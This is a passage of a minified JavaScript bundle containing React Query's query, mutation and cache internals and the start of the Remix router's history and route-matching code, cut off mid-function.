Fm(e){let t=!1,n=0,r=!1,o;const i=T1(),s=v=>{var x;r||(c(new zm(v)),(x=e.abort)==null||x.call(e))},l=()=>{t=!0},a=()=>{t=!1},u=()=>Dm.isFocused()&&(e.networkMode==="always"||ms.isOnline())&&e.canRun(),d=()=>Im(e.networkMode)&&e.canRun(),f=v=>{var x;r||(r=!0,(x=e.onSuccess)==null||x.call(e,v),o==null||o(),i.resolve(v))},c=v=>{var x;r||(r=!0,(x=e.onError)==null||x.call(e,v),o==null||o(),i.reject(v))},g=()=>new Promise(v=>{var x;o=h=>{(r||u())&&v(h)},(x=e.onPause)==null||x.call(e)}).then(()=>{var v;o=void 0,r||(v=e.onContinue)==null||v.call(e)}),y=()=>{if(r)return;let v;const x=n===0?e.initialPromise:void 0;try{v=x??e.fn()}catch(h){v=Promise.reject(h)}Promise.resolve(v).then(f).catch(h=>{var P;if(r)return;const p=e.retry??(Hs?0:3),m=e.retryDelay??N1,S=typeof m=="function"?m(n,h):m,C=p===!0||typeof p=="number"&&n<p||typeof p=="function"&&p(n,h);if(t||!C){c(h);return}n++,(P=e.onFail)==null||P.call(e,n,h),S1(S).then(()=>u()?void 0:g()).then(()=>{t?c(h):y()})})};return{promise:i,cancel:s,continue:()=>(o==null||o(),i),cancelRetry:l,continueRetry:a,canStart:d,start:()=>(d()?y():g().then(y),i)}}function R1(){let e=[],t=0,n=l=>{l()},r=l=>{l()},o=l=>setTimeout(l,0);const i=l=>{t?e.push(l):o(()=>{n(l)})},s=()=>{const l=e;e=[],l.length&&o(()=>{r(()=>{l.forEach(a=>{n(a)})})})};return{batch:l=>{let a;t++;try{a=l()}finally{t--,t||s()}return a},batchCalls:l=>(...a)=>{i(()=>{l(...a)})},schedule:i,setNotifyFunction:l=>{n=l},setBatchNotifyFunction:l=>{r=l},setScheduler:l=>{o=l}}}var je=R1(),$n,Xd,$m=(Xd=class{constructor(){q(this,$n)}destroy(){this.clearGcTimeout()}scheduleGc(){this.clearGcTimeout(),y1(this.gcTime)&&H(this,$n,setTimeout(()=>{this.optionalRemove()},this.gcTime))}updateGcTime(e){this.gcTime=Math.max(this.gcTime||0,e??(Hs?1/0:5*60*1e3))}clearGcTimeout(){T(this,$n)&&(clearTimeout(T(this,$n)),H(this,$n,void 0))}},$n=new WeakMap,Xd),Rr,_r,tt,Te,Ho,Un,ft,Lt,qd,_1=(qd=class extends $m{constructor(t){super();q(this,ft);q(this,Rr);q(this,_r);q(this,tt);q(this,Te);q(this,Ho);q(this,Un);H(this,Un,!1),H(this,Ho,t.defaultOptions),this.setOptions(t.options),this.observers=[],H(this,tt,t.cache),this.queryKey=t.queryKey,this.queryHash=t.queryHash,H(this,Rr,j1(this.options)),this.state=t.state??T(this,Rr),this.scheduleGc()}get meta(){return this.options.meta}get promise(){var t;return(t=T(this,Te))==null?void 0:t.promise}setOptions(t){this.options={...T(this,Ho),...t},this.updateGcTime(this.options.gcTime)}optionalRemove(){!this.observers.length&&this.state.fetchStatus==="idle"&&T(this,tt).remove(this)}setData(t,n){const r=E1(this.state.data,t,this.options);return ke(this,ft,Lt).call(this,{data:r,type:"success",dataUpdatedAt:n==null?void 0:n.updatedAt,manual:n==null?void 0:n.manual}),r}setState(t,n){ke(this,ft,Lt).call(this,{type:"setState",state:t,setStateOptions:n})}cancel(t){var r,o;const n=(r=T(this,Te))==null?void 0:r.promise;return(o=T(this,Te))==null||o.cancel(t),n?n.then(dt).catch(dt):Promise.resolve()}destroy(){super.destroy(),this.cancel({silent:!0})}reset(){this.destroy(),this.setState(T(this,Rr))}isActive(){return this.observers.some(t=>x1(t.options.enabled,this)!==!1)}isDisabled(){return this.getObserversCount()>0?!this.isActive():this.options.queryFn===Xu||this.state.dataUpdateCount+this.state.errorUpdateCount===0}isStale(){return this.state.isInvalidated?!0:this.getObserversCount()>0?this.observers.some(t=>t.getCurrentResult().isStale):this.state.data===void 0}isStaleByTime(t=0){return this.state.isInvalidated||this.state.data===void 0||!w1(this.state.dataUpdatedAt,t)}onFocus(){var n;const t=this.observers.find(r=>r.shouldFetchOnWindowFocus());t==null||t.refetch({cancelRefetch:!1}),(n=T(this,Te))==null||n.continue()}onOnline(){var n;const t=this.observers.find(r=>r.shouldFetchOnReconnect());t==null||t.refetch({cancelRefetch:!1}),(n=T(this,Te))==null||n.continue()}addObserver(t){this.observers.includes(t)||(this.observers.push(t),this.clearGcTimeout(),T(this,tt).notify({type:"observerAdded",query:this,observer:t}))}removeObserver(t){this.observers.includes(t)&&(this.observers=this.observers.filter(n=>n!==t),this.observers.length||(T(this,Te)&&(T(this,Un)?T(this,Te).cancel({revert:!0}):T(this,Te).cancelRetry()),this.scheduleGc()),T(this,tt).notify({type:"observerRemoved",query:this,observer:t}))}getObserversCount(){return this.observers.length}invalidate(){this.state.isInvalidated||ke(this,ft,Lt).call(this,{type:"invalidate"})}fetch(t,n){var a,u,d;if(this.state.fetchStatus!=="idle"){if(this.state.data!==void 0&&(n!=null&&n.cancelRefetch))this.cancel({silent:!0});else if(T(this,Te))return T(this,Te).continueRetry(),T(this,Te).promise}if(t&&this.setOptions(t),!this.options.queryFn){const f=this.observers.find(c=>c.options.queryFn);f&&this.setOptions(f.options)}const r=new AbortController,o=f=>{Object.defineProperty(f,"signal",{enumerable:!0,get:()=>(H(this,Un,!0),r.signal)})},i=()=>{const f=Lm(this.options,n),c={queryKey:this.queryKey,meta:this.meta};return o(c),H(this,Un,!1),this.options.persister?this.options.persister(f,c,this):f(c)},s={fetchOptions:n,options:this.options,queryKey:this.queryKey,state:this.state,fetchFn:i};o(s),(a=this.options.behavior)==null||a.onFetch(s,this),H(this,_r,this.state),(this.state.fetchStatus==="idle"||this.state.fetchMeta!==((u=s.fetchOptions)==null?void 0:u.meta))&&ke(this,ft,Lt).call(this,{type:"fetch",meta:(d=s.fetchOptions)==null?void 0:d.meta});const l=f=>{var c,g,y,v;Ol(f)&&f.silent||ke(this,ft,Lt).call(this,{type:"error",error:f}),Ol(f)||((g=(c=T(this,tt).config).onError)==null||g.call(c,f,this),(v=(y=T(this,tt).config).onSettled)==null||v.call(y,this.state.data,f,this)),this.scheduleGc()};return H(this,Te,Fm({initialPromise:n==null?void 0:n.initialPromise,fn:s.fetchFn,abort:r.abort.bind(r),onSuccess:f=>{var c,g,y,v;if(f===void 0){l(new Error(`${this.queryHash} data is undefined`));return}try{this.setData(f)}catch(x){l(x);return}(g=(c=T(this,tt).config).onSuccess)==null||g.call(c,f,this),(v=(y=T(this,tt).config).onSettled)==null||v.call(y,f,this.state.error,this),this.scheduleGc()},onError:l,onFail:(f,c)=>{ke(this,ft,Lt).call(this,{type:"failed",failureCount:f,error:c})},onPause:()=>{ke(this,ft,Lt).call(this,{type:"pause"})},onContinue:()=>{ke(this,ft,Lt).call(this,{type:"continue"})},retry:s.options.retry,retryDelay:s.options.retryDelay,networkMode:s.options.networkMode,canRun:()=>!0})),T(this,Te).start()}},Rr=new WeakMap,_r=new WeakMap,tt=new WeakMap,Te=new WeakMap,Ho=new WeakMap,Un=new WeakMap,ft=new WeakSet,Lt=function(t){const n=r=>{switch(t.type){case"failed":return{...r,fetchFailureCount:t.failureCount,fetchFailureReason:t.error};case"pause":return{...r,fetchStatus:"paused"};case"continue":return{...r,fetchStatus:"fetching"};case"fetch":return{...r,...O1(r.data,this.options),fetchMeta:t.meta??null};case"success":return{...r,data:t.data,dataUpdateCount:r.dataUpdateCount+1,dataUpdatedAt:t.dataUpdatedAt??Date.now(),error:null,isInvalidated:!1,status:"success",...!t.manual&&{fetchStatus:"idle",fetchFailureCount:0,fetchFailureReason:null}};case"error":const o=t.error;return Ol(o)&&o.revert&&T(this,_r)?{...T(this,_r),fetchStatus:"idle"}:{...r,error:o,errorUpdateCount:r.errorUpdateCount+1,errorUpdatedAt:Date.now(),fetchFailureCount:r.fetchFailureCount+1,fetchFailureReason:o,fetchStatus:"idle",status:"error"};case"invalidate":return{...r,isInvalidated:!0};case"setState":return{...r,...t.state}}};this.state=n(this.state),je.batch(()=>{this.observers.forEach(r=>{r.onQueryUpdate()}),T(this,tt).notify({query:this,type:"updated",action:t})})},qd);function O1(e,t){return{fetchFailureCount:0,fetchFailureReason:null,fetchStatus:Im(t.networkMode)?"fetching":"paused",...e===void 0&&{error:null,status:"pending"}}}function j1(e){const t=typeof e.initialData=="function"?e.initialData():e.initialData,n=t!==void 0,r=n?typeof e.initialDataUpdatedAt=="function"?e.initialDataUpdatedAt():e.initialDataUpdatedAt:0;return{data:t,dataUpdateCount:0,dataUpdatedAt:n?r??Date.now():0,error:null,errorUpdateCount:0,errorUpdatedAt:0,fetchFailureCount:0,fetchFailureReason:null,fetchMeta:null,isInvalidated:!1,status:n?"success":"pending",fetchStatus:"idle"}}var Pt,Zd,A1=(Zd=class extends Vs{constructor(t={}){super();q(this,Pt);this.config=t,H(this,Pt,new Map)}build(t,n,r){const o=n.queryKey,i=n.queryHash??Yu(o,n);let s=this.get(i);return s||(s=new _1({cache:this,queryKey:o,queryHash:i,options:t.defaultQueryOptions(n),state:r,defaultOptions:t.getQueryDefaults(o)}),this.add(s)),s}add(t){T(this,Pt).has(t.queryHash)||(T(this,Pt).set(t.queryHash,t),this.notify({type:"added",query:t}))}remove(t){const n=T(this,Pt).get(t.queryHash);n&&(t.destroy(),n===t&&T(this,Pt).delete(t.queryHash),this.notify({type:"removed",query:t}))}clear(){je.batch(()=>{this.getAll().forEach(t=>{this.remove(t)})})}get(t){return T(this,Pt).get(t)}getAll(){return[...T(this,Pt).values()]}find(t){const n={exact:!0,...t};return this.getAll().find(r=>Ad(n,r))}findAll(t={}){const n=this.getAll();return Object.keys(t).length>0?n.filter(r=>Ad(t,r)):n}notify(t){je.batch(()=>{this.listeners.forEach(n=>{n(t)})})}onFocus(){je.batch(()=>{this.getAll().forEach(t=>{t.onFocus()})})}onOnline(){je.batch(()=>{this.getAll().forEach(t=>{t.onOnline()})})}},Pt=new WeakMap,Zd),bt,_e,Bn,Tt,nn,Jd,M1=(Jd=class extends $m{constructor(t){super();q(this,Tt);q(this,bt);q(this,_e);q(this,Bn);this.mutationId=t.mutationId,H(this,_e,t.mutationCache),H(this,bt,[]),this.state=t.state||L1(),this.setOptions(t.options),this.scheduleGc()}setOptions(t){this.options=t,this.updateGcTime(this.options.gcTime)}get meta(){return this.options.meta}addObserver(t){T(this,bt).includes(t)||(T(this,bt).push(t),this.clearGcTimeout(),T(this,_e).notify({type:"observerAdded",mutation:this,observer:t}))}removeObserver(t){H(this,bt,T(this,bt).filter(n=>n!==t)),this.scheduleGc(),T(this,_e).notify({type:"observerRemoved",mutation:this,observer:t})}optionalRemove(){T(this,bt).length||(this.state.status==="pending"?this.scheduleGc():T(this,_e).remove(this))}continue(){var t;return((t=T(this,Bn))==null?void 0:t.continue())??this.execute(this.state.variables)}async execute(t){var o,i,s,l,a,u,d,f,c,g,y,v,x,h,p,m,S,C,P,b;H(this,Bn,Fm({fn:()=>this.options.mutationFn?this.options.mutationFn(t):Promise.reject(new Error("No mutationFn found")),onFail:(N,D)=>{ke(this,Tt,nn).call(this,{type:"failed",failureCount:N,error:D})},onPause:()=>{ke(this,Tt,nn).call(this,{type:"pause"})},onContinue:()=>{ke(this,Tt,nn).call(this,{type:"continue"})},retry:this.options.retry??0,retryDelay:this.options.retryDelay,networkMode:this.options.networkMode,canRun:()=>T(this,_e).canRun(this)}));const n=this.state.status==="pending",r=!T(this,Bn).canStart();try{if(!n){ke(this,Tt,nn).call(this,{type:"pending",variables:t,isPaused:r}),await((i=(o=T(this,_e).config).onMutate)==null?void 0:i.call(o,t,this));const D=await((l=(s=this.options).onMutate)==null?void 0:l.call(s,t));D!==this.state.context&&ke(this,Tt,nn).call(this,{type:"pending",context:D,variables:t,isPaused:r})}const N=await T(this,Bn).start();return await((u=(a=T(this,_e).config).onSuccess)==null?void 0:u.call(a,N,t,this.state.context,this)),await((f=(d=this.options).onSuccess)==null?void 0:f.call(d,N,t,this.state.context)),await((g=(c=T(this,_e).config).onSettled)==null?void 0:g.call(c,N,null,this.state.variables,this.state.context,this)),await((v=(y=this.options).onSettled)==null?void 0:v.call(y,N,null,t,this.state.context)),ke(this,Tt,nn).call(this,{type:"success",data:N}),N}catch(N){try{throw await((h=(x=T(this,_e).config).onError)==null?void 0:h.call(x,N,t,this.state.context,this)),await((m=(p=this.options).onError)==null?void 0:m.call(p,N,t,this.state.context)),await((C=(S=T(this,_e).config).onSettled)==null?void 0:C.call(S,void 0,N,this.state.variables,this.state.context,this)),await((b=(P=this.options).onSettled)==null?void 0:b.call(P,void 0,N,t,this.state.context)),N}finally{ke(this,Tt,nn).call(this,{type:"error",error:N})}}finally{T(this,_e).runNext(this)}}},bt=new WeakMap,_e=new WeakMap,Bn=new WeakMap,Tt=new WeakSet,nn=function(t){const n=r=>{switch(t.type){case"failed":return{...r,failureCount:t.failureCount,failureReason:t.error};case"pause":return{...r,isPaused:!0};case"continue":return{...r,isPaused:!1};case"pending":return{...r,context:t.context,data:void 0,failureCount:0,failureReason:null,error:null,isPaused:t.isPaused,status:"pending",variables:t.variables,submittedAt:Date.now()};case"success":return{...r,data:t.data,failureCount:0,failureReason:null,error:null,status:"success",isPaused:!1};case"error":return{...r,data:void 0,error:t.error,failureCount:r.failureCount+1,failureReason:t.error,isPaused:!1,status:"error"}}};this.state=n(this.state),je.batch(()=>{T(this,bt).forEach(r=>{r.onMutationUpdate(t)}),T(this,_e).notify({mutation:this,type:"updated",action:t})})},Jd);function L1(){return{context:void 0,data:void 0,error:null,failureCount:0,failureReason:null,isPaused:!1,status:"idle",variables:void 0,submittedAt:0}}var We,Wo,ef,D1=(ef=class extends Vs{constructor(t={}){super();q(this,We);q(this,Wo);this.config=t,H(this,We,new Map),H(this,Wo,Date.now())}build(t,n,r){const o=new M1({mutationCache:this,mutationId:++ri(this,Wo)._,options:t.defaultMutationOptions(n),state:r});return this.add(o),o}add(t){const n=Pi(t),r=T(this,We).get(n)??[];r.push(t),T(this,We).set(n,r),this.notify({type:"added",mutation:t})}remove(t){var r;const n=Pi(t);if(T(this,We).has(n)){const o=(r=T(this,We).get(n))==null?void 0:r.filter(i=>i!==t);o&&(o.length===0?T(this,We).delete(n):T(this,We).set(n,o))}this.notify({type:"removed",mutation:t})}canRun(t){var r;const n=(r=T(this,We).get(Pi(t)))==null?void 0:r.find(o=>o.state.status==="pending");return!n||n===t}runNext(t){var r;const n=(r=T(this,We).get(Pi(t)))==null?void 0:r.find(o=>o!==t&&o.state.isPaused);return(n==null?void 0:n.continue())??Promise.resolve()}clear(){je.batch(()=>{this.getAll().forEach(t=>{this.remove(t)})})}getAll(){return[...T(this,We).values()].flat()}find(t){const n={exact:!0,...t};return this.getAll().find(r=>Md(n,r))}findAll(t={}){return this.getAll().filter(n=>Md(t,n))}notify(t){je.batch(()=>{this.listeners.forEach(n=>{n(t)})})}resumePausedMutations(){const t=this.getAll().filter(n=>n.state.isPaused);return je.batch(()=>Promise.all(t.map(n=>n.continue().catch(dt))))}},We=new WeakMap,Wo=new WeakMap,ef);function Pi(e){var t;return((t=e.options.scope)==null?void 0:t.id)??String(e.mutationId)}function Id(e){return{onFetch:(t,n)=>{var d,f,c,g,y;const r=t.options,o=(c=(f=(d=t.fetchOptions)==null?void 0:d.meta)==null?void 0:f.fetchMore)==null?void 0:c.direction,i=((g=t.state.data)==null?void 0:g.pages)||[],s=((y=t.state.data)==null?void 0:y.pageParams)||[];let l={pages:[],pageParams:[]},a=0;const u=async()=>{let v=!1;const x=m=>{Object.defineProperty(m,"signal",{enumerable:!0,get:()=>(t.signal.aborted?v=!0:t.signal.addEventListener("abort",()=>{v=!0}),t.signal)})},h=Lm(t.options,t.fetchOptions),p=async(m,S,C)=>{if(v)return Promise.reject();if(S==null&&m.pages.length)return Promise.resolve(m);const P={queryKey:t.queryKey,pageParam:S,direction:C?"backward":"forward",meta:t.options.meta};x(P);const b=await h(P),{maxPages:N}=t.options,D=C?k1:C1;return{pages:D(m.pages,b,N),pageParams:D(m.pageParams,S,N)}};if(o&&i.length){const m=o==="backward",S=m?I1:zd,C={pages:i,pageParams:s},P=S(r,C);l=await p(C,P,m)}else{const m=e??i.length;do{const S=a===0?s[0]??r.initialPageParam:zd(r,l);if(a>0&&S==null)break;l=await p(l,S),a++}while(a<m)}return l};t.options.persister?t.fetchFn=()=>{var v,x;return(x=(v=t.options).persister)==null?void 0:x.call(v,u,{queryKey:t.queryKey,meta:t.options.meta,signal:t.signal},n)}:t.fetchFn=u}}}function zd(e,{pages:t,pageParams:n}){const r=t.length-1;return t.length>0?e.getNextPageParam(t[r],t,n[r],n):void 0}function I1(e,{pages:t,pageParams:n}){var r;return t.length>0?(r=e.getPreviousPageParam)==null?void 0:r.call(e,t[0],t,n[0],n):void 0}var de,cn,dn,Or,jr,fn,Ar,Mr,tf,z1=(tf=class{constructor(e={}){q(this,de);q(this,cn);q(this,dn);q(this,Or);q(this,jr);q(this,fn);q(this,Ar);q(this,Mr);H(this,de,e.queryCache||new A1),H(this,cn,e.mutationCache||new D1),H(this,dn,e.defaultOptions||{}),H(this,Or,new Map),H(this,jr,new Map),H(this,fn,0)}mount(){ri(this,fn)._++,T(this,fn)===1&&(H(this,Ar,Dm.subscribe(async e=>{e&&(await this.resumePausedMutations(),T(this,de).onFocus())})),H(this,Mr,ms.subscribe(async e=>{e&&(await this.resumePausedMutations(),T(this,de).onOnline())})))}unmount(){var e,t;ri(this,fn)._--,T(this,fn)===0&&((e=T(this,Ar))==null||e.call(this),H(this,Ar,void 0),(t=T(this,Mr))==null||t.call(this),H(this,Mr,void 0))}isFetching(e){return T(this,de).findAll({...e,fetchStatus:"fetching"}).length}isMutating(e){return T(this,cn).findAll({...e,status:"pending"}).length}getQueryData(e){var n;const t=this.defaultQueryOptions({queryKey:e});return(n=T(this,de).get(t.queryHash))==null?void 0:n.state.data}ensureQueryData(e){const t=this.getQueryData(e.queryKey);if(t===void 0)return this.fetchQuery(e);{const n=this.defaultQueryOptions(e),r=T(this,de).build(this,n);return e.revalidateIfStale&&r.isStaleByTime(jd(n.staleTime,r))&&this.prefetchQuery(n),Promise.resolve(t)}}getQueriesData(e){return T(this,de).findAll(e).map(({queryKey:t,state:n})=>{const r=n.data;return[t,r]})}setQueryData(e,t,n){const r=this.defaultQueryOptions({queryKey:e}),o=T(this,de).get(r.queryHash),i=o==null?void 0:o.state.data,s=g1(t,i);if(s!==void 0)return T(this,de).build(this,r).setData(s,{...n,manual:!0})}setQueriesData(e,t,n){return je.batch(()=>T(this,de).findAll(e).map(({queryKey:r})=>[r,this.setQueryData(r,t,n)]))}getQueryState(e){var n;const t=this.defaultQueryOptions({queryKey:e});return(n=T(this,de).get(t.queryHash))==null?void 0:n.state}removeQueries(e){const t=T(this,de);je.batch(()=>{t.findAll(e).forEach(n=>{t.remove(n)})})}resetQueries(e,t){const n=T(this,de),r={type:"active",...e};return je.batch(()=>(n.findAll(e).forEach(o=>{o.reset()}),this.refetchQueries(r,t)))}cancelQueries(e={},t={}){const n={revert:!0,...t},r=je.batch(()=>T(this,de).findAll(e).map(o=>o.cancel(n)));return Promise.all(r).then(dt).catch(dt)}invalidateQueries(e={},t={}){return je.batch(()=>{if(T(this,de).findAll(e).forEach(r=>{r.invalidate()}),e.refetchType==="none")return Promise.resolve();const n={...e,type:e.refetchType??e.type??"active"};return this.refetchQueries(n,t)})}refetchQueries(e={},t){const n={...t,cancelRefetch:(t==null?void 0:t.cancelRefetch)??!0},r=je.batch(()=>T(this,de).findAll(e).filter(o=>!o.isDisabled()).map(o=>{let i=o.fetch(void 0,n);return n.throwOnError||(i=i.catch(dt)),o.state.fetchStatus==="paused"?Promise.resolve():i}));return Promise.all(r).then(dt)}fetchQuery(e){const t=this.defaultQueryOptions(e);t.retry===void 0&&(t.retry=!1);const n=T(this,de).build(this,t);return n.isStaleByTime(jd(t.staleTime,n))?n.fetch(t):Promise.resolve(n.state.data)}prefetchQuery(e){return this.fetchQuery(e).then(dt).catch(dt)}fetchInfiniteQuery(e){return e.behavior=Id(e.pages),this.fetchQuery(e)}prefetchInfiniteQuery(e){return this.fetchInfiniteQuery(e).then(dt).catch(dt)}ensureInfiniteQueryData(e){return e.behavior=Id(e.pages),this.ensureQueryData(e)}resumePausedMutations(){return ms.isOnline()?T(this,cn).resumePausedMutations():Promise.resolve()}getQueryCache(){return T(this,de)}getMutationCache(){return T(this,cn)}getDefaultOptions(){return T(this,dn)}setDefaultOptions(e){H(this,dn,e)}setQueryDefaults(e,t){T(this,Or).set(Bo(e),{queryKey:e,defaultOptions:t})}getQueryDefaults(e){const t=[...T(this,Or).values()];let n={};return t.forEach(r=>{Vo(e,r.queryKey)&&(n={...n,...r.defaultOptions})}),n}setMutationDefaults(e,t){T(this,jr).set(Bo(e),{mutationKey:e,defaultOptions:t})}getMutationDefaults(e){const t=[...T(this,jr).values()];let n={};return t.forEach(r=>{Vo(e,r.mutationKey)&&(n={...n,...r.defaultOptions})}),n}defaultQueryOptions(e){if(e._defaulted)return e;const t={...T(this,dn).queries,...this.getQueryDefaults(e.queryKey),...e,_defaulted:!0};return t.queryHash||(t.queryHash=Yu(t.queryKey,t)),t.refetchOnReconnect===void 0&&(t.refetchOnReconnect=t.networkMode!=="always"),t.throwOnError===void 0&&(t.throwOnError=!!t.suspense),!t.networkMode&&t.persister&&(t.networkMode="offlineFirst"),t.enabled!==!0&&t.queryFn===Xu&&(t.enabled=!1),t}defaultMutationOptions(e){return e!=null&&e._defaulted?e:{...T(this,dn).mutations,...(e==null?void 0:e.mutationKey)&&this.getMutationDefaults(e.mutationKey),...e,_defaulted:!0}}clear(){T(this,de).clear(),T(this,cn).clear()}},de=new WeakMap,cn=new WeakMap,dn=new WeakMap,Or=new WeakMap,jr=new WeakMap,fn=new WeakMap,Ar=new WeakMap,Mr=new WeakMap,tf),F1=w.createContext(void 0),$1=({client:e,children:t})=>(w.useEffect(()=>(e.mount(),()=>{e.unmount()}),[e]),E.jsx(F1.Provider,{value:e,children:t}));/** * @remix-run/router v1.20.0 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function vs(){return vs=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},vs.apply(this,arguments)}var mn;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(mn||(mn={}));const Fd="popstate";function U1(e){e===void 0&&(e={});function t(r,o){let{pathname:i,search:s,hash:l}=r.location;return Ia("",{pathname:i,search:s,hash:l},o.state&&o.state.usr||null,o.state&&o.state.key||"default")}function n(r,o){return typeof o=="string"?o:Bm(o)}return V1(t,n,null,e)}function Ue(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function Um(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function B1(){return Math.random().toString(36).substr(2,8)}function $d(e,t){return{usr:e.state,key:e.key,idx:t}}function Ia(e,t,n,r){return n===void 0&&(n=null),vs({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?Ws(t):t,{state:n,key:t&&t.key||r||B1()})}function Bm(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function Ws(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function V1(e,t,n,r){r===void 0&&(r={});let{window:o=document.defaultView,v5Compat:i=!1}=r,s=o.history,l=mn.Pop,a=null,u=d();u==null&&(u=0,s.replaceState(vs({},s.state,{idx:u}),""));function d(){return(s.state||{idx:null}).idx}function f(){l=mn.Pop;let x=d(),h=x==null?null:x-u;u=x,a&&a({action:l,location:v.location,delta:h})}function c(x,h){l=mn.Push;let p=Ia(v.location,x,h);u=d()+1;let m=$d(p,u),S=v.createHref(p);try{s.pushState(m,"",S)}catch(C){if(C instanceof DOMException&&C.name==="DataCloneError")throw C;o.location.assign(S)}i&&a&&a({action:l,location:v.location,delta:1})}function g(x,h){l=mn.Replace;let p=Ia(v.location,x,h);u=d();let m=$d(p,u),S=v.createHref(p);s.replaceState(m,"",S),i&&a&&a({action:l,location:v.location,delta:0})}function y(x){let h=o.location.origin!=="null"?o.location.origin:o.location.href,p=typeof x=="string"?x:Bm(x);return p=p.replace(/ $/,"%20"),Ue(h,"No window.location.(origin|href) available to create URL for href: "+p),new URL(p,h)}let v={get action(){return l},get location(){return e(o,s)},listen(x){if(a)throw new Error("A history only accepts one active listener");return o.addEventListener(Fd,f),a=x,()=>{o.removeEventListener(Fd,f),a=null}},createHref(x){return t(o,x)},createURL:y,encodeLocation(x){let h=y(x);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:c,replace:g,go(x){return s.go(x)}};return v}var Ud;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Ud||(Ud={}));function H1(e,t,n){return n===void 0&&(n="/"),W1(e,t,n,!1)}function W1(e,t,n,r){let o=typeof t=="string"?Ws(t):t,i=Wm(o.pathname||"/",n);if(i==null)return null;let s=Vm(e);Q1(s);let l=null;for(let a=0;l==null&&a<s.length;++a){let u=rS(i);l=tS(s[a],u,r)}return l}function Vm(e,t,n,r){t===void 0&&(t=[]),n===void 0&&(n=[]),r===void 0&&(r="");let o=(i,s,l)=>{let a={relativePath:l===void 0?i.path||"":l,caseSensitive:i.caseSensitive===!0,childrenIndex:s,route:i};a.relativePath.startsWith("/")&&(Ue(a.relativePath.startsWith(r),'Absolute route path "'+a.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),a.relativePath=a.relativePath.slice(r.length));let u=Pr([r,a.relativePath]),d=n.concat(a);i.children&&i.children.length>0&&(Ue(i.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),Vm(i.children,t,d,u)),!(i.path==null&&!i.index)&&t.push({path:u,score:J1(u,i.index),routesMeta:d})};return e.forEach((i,s)=>{var l;if(i.path===""||!((l=i.path)!=null&&l.includes("?")))o(i,s);else for(let a of Hm(i.path))o(i,s,a)}),t}function Hm(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,o=n.endsWith("?"),i=n.replace(/\?$/,"");if(r.length===0)return o?[i,""]:[i];let s=Hm(r.join("/")),l=[];return l.push(...s.map(a=>a===""?i:[i,a].join("/"))),o&&l.push(...s),l.map(a=>e.startsWith("/")&&a===""?"/":a)}function Q1(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:eS(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const K1=/^:[\w-]+$/,G1=3,Y1=2,X1=1,q1=10,Z1=-2,Bd=e=>e==="*";function J1(e,t){let n=e.split("/"),r=n.length;return n.some(Bd)&&(r+=Z1),t&&(r+=Y1),n.filter(o=>!Bd(o)).reduce((o,i)=>o+(K1.test(i)?G1:i===""?X1:q1),r)}function eS(e,t){return e.length===t.length&&e.slice(0,-1).every((r,o)=>r===t[o])?e[e.length-1]-t[t.length-1]:0}function tS(e,t,n){let{routesMeta:r}=e,o={},i="/",s=[];for(let l=0;l<r.length;++l){let a=r[l],u=l===r.length-1,d=i==="/"?t:t.slice(i.length)||"/",f=Vd({path:a.relativePath,caseSensitive:a.caseSensitive,end:u},d),c=a.route;if(!f&&u&&n&&!r[r.length-1].route.index&&(f=Vd({path:a.relativePath,caseSensitive:a.caseSensitive,end:!1},d)),!f)return null;Object.assign(o,f.params),s.push({params:o,pathname:Pr([i,f.pathname]),pathnameBase:oS(Pr([i,f.pathnameBase])),route:c}),f.pathnameBase!=="/"&&(i=Pr([i,f.pathnameBase]))}return s}function Vd(e,t){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[n,r]=nS(e.path,e.caseSensitive,e.end),o=t.match(n);if(!o)return null;let i=o[0],s=i.replace(/(.)\/+$/,"$1"),l=o.slice(1);return{params:r.reduce((u,d,f)=>{let{paramName:c,isOptional:g}=d;if(c==="*"){let v=l[f]||"";s=i.slice(0,i.length-v.length).replace(/(.)\/+$/,"$1")}const y=l[f];return g&&!y?u[c]=void 0:u[c]=(y||"").replace(/%2F/g,"/"),u},{}),pathname:i,pathnameBase:s,pattern:e}}function nS(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),Um(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],o="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(s,l,a)=>(r.push({paramName:l,isOptional:a!=null}),a?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),o+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?o+="\\/*$":e!==""&&e!=="/"&&(o+="(?:(?=\\/|$))"),[new RegExp(o,t?void 0:"i"),r]}function rS(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return Um(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function 